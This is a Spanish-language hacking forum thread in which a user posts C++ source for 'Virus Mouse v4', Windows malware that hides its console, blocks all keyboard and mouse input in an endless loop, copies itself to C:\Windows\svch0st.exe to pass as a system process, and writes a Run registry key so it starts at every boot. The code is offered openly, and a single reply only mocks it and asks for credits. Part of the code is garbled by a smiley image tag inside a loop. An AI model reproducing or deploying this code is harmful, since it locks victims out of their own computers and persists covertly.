Visitante
Ingresar
Registrarse
Underc0de - Hacking y seguridad informática
Menu
Inicio
Website
Blog
Buscar
Calendario
Ingresar
Registrarse
Underc0de - Hacking y seguridad informática
»
Programación General
»
C / C++
»
Códigos Fuentes
Virus Mouse v4 Pablo
Imprimir
Páginas: [
1
]
Ir Abajo
« anterior
próximo »
Virus Mouse v4 Pablo
1 Respuestas
2318 Vistas
0 Usuarios y 1 Visitante están viendo este tema.
@ed33x
Underc0der
Mensajes: 107
Actividad:
0%
Reputación 0
Virus Mouse v4 Pablo
en: Enero 22, 2011, 10:04:35 pm
Código: C++
#include<windows.h>
#include<tlhelp32.h>
#include<winable.h>
int
test_key
(
void
)
;
int
create_key
(
char
*
)
;
int
main
(
void
)
{
int
test,create
;
test
=
test_key
(
)
;
if
(
test
==
2
)
{
char
*
path
=
"c:
\\
WINDOWS
\\
svch0st.exe"
;
create
=
create_key
(
path
)
;
}
HWND inv
;
AllocConsole
(
)
;
inv
=
FindWindowA
(
"ConsoleWindowClass"
,
NULL
)
;
ShowWindow
(
inv,
0
)
;
int
c
;
for
(
;
<
img src
=
"https://underc0de.org/foro/Smileys/default/wink.gif"
alt
=
";)"
title
=
"Guiñar"
class
=
"smiley"
/
>
{
BlockInput
(
true
)
;
}
char
root
[
60
]
=
"C:
\\
Windows
\\
"
;
char
nombre
[
60
]
=
"svch0st"
;
char
path
[
256
]
=
"svch0st"
;
strcat
(
nombre,
".exe"
)
;
strcat
(
root,nombre
)
;
HMODULE copiar
=
GetModuleHandle
(
0
)
;
GetModuleFileName
(
copiar, path,
256
)
;
CopyFile
(
path,root,
false
)
;
}
int
test_key
(
void
)
{
int
check
;
HKEY hKey
;
char
path
[
BUFSIZE
]
;
DWORD buf_length
=
BUFSIZE
;
int
reg_key
;
reg_key
=
RegOpenKeyEx
(
HKEY_LOCAL_MACHINE,
"SOFTWARE
\\
Microsoft
\\
Windows
\\
CurrentVersion
\\
Run"
,
0
,KEY_QUERY_VALUE,
&
hKey
)
;
if
(
reg_key
!
=
0
)
{
check
=
1
;
return
check
;
}
reg_key
=
RegQueryValueEx
(
hKey,
"Windows Files"
,
NULL
,
NULL
,
(
LPBYTE
)
path,
&
buf_length
)
;
if
(
(
reg_key
!
=
0
)
||
(
buf_length
>
BUFSIZE
)
)
check
=
2
;
if
(
reg_key
==
0
)
check
=
0
;
RegCloseKey
(
hKey
)
;
return
check
;
}
int
create_key
(
char
*
path
)
{
int
reg_key,check
;
HKEY hkey
;
reg_key
=
RegCreateKey
(
HKEY_LOCAL_MACHINE,
"SOFTWARE
\\
Microsoft
\\
Windows
\\
CurrentVersion
\\
Run"
,
&
hkey
)
;
if
(
reg_key
==
0
)
{
RegSetValueEx
(
(
HKEY
)
hkey,
"Windows files"
,
0
,REG_SZ,
(
BYTE
*
)
path,
strlen
(
path
)
)
;
check
=
0
;
return
check
;
}
if
(
reg_key
!
=
0
)
check
=
1
;
return
check
;
}
Bueno pues ya esta desactivo el teclado, desactivo el raton, y lo copio al inicio.
Creo que ya la ultima version sera para modelar lo que me dijo regx sobre el user si es Admin.
Saludos!
«
Última modificación: Febrero 08, 2014, 05:44:41 pm por Expermicid
»
En línea
Me cambie de messenger ahora es:
[email protected]
P4|3L0
Underc0der
Mensajes: 9
Actividad:
0%
Reputación 0
Re:Virus Mouse v4 Pablo
en: Agosto 10, 2012, 08:41:15 am
Pon creditos,no?
A ver si alguien va a pensar que lo has hecho tu y se crea que sabes programar, de todos modos, esto es una tonteria de virus.
En línea
Imprimir
Páginas: [
1
]
Ir Arriba
« anterior
próximo »
Sponsors
Zerpens
Kali-Linux
Club Hacker
ANTRAX-LABS
Ingresar
×
Bienvenido(a),
Visitante
. Por favor,
ingresa
o
regístrate
. ¿Perdiste tu
email de activación
?
1 Hora
1 Día
1 Semana
1 Mes
Siempre
Ingresar con nombre de usuario, contraseña y duración de la sesión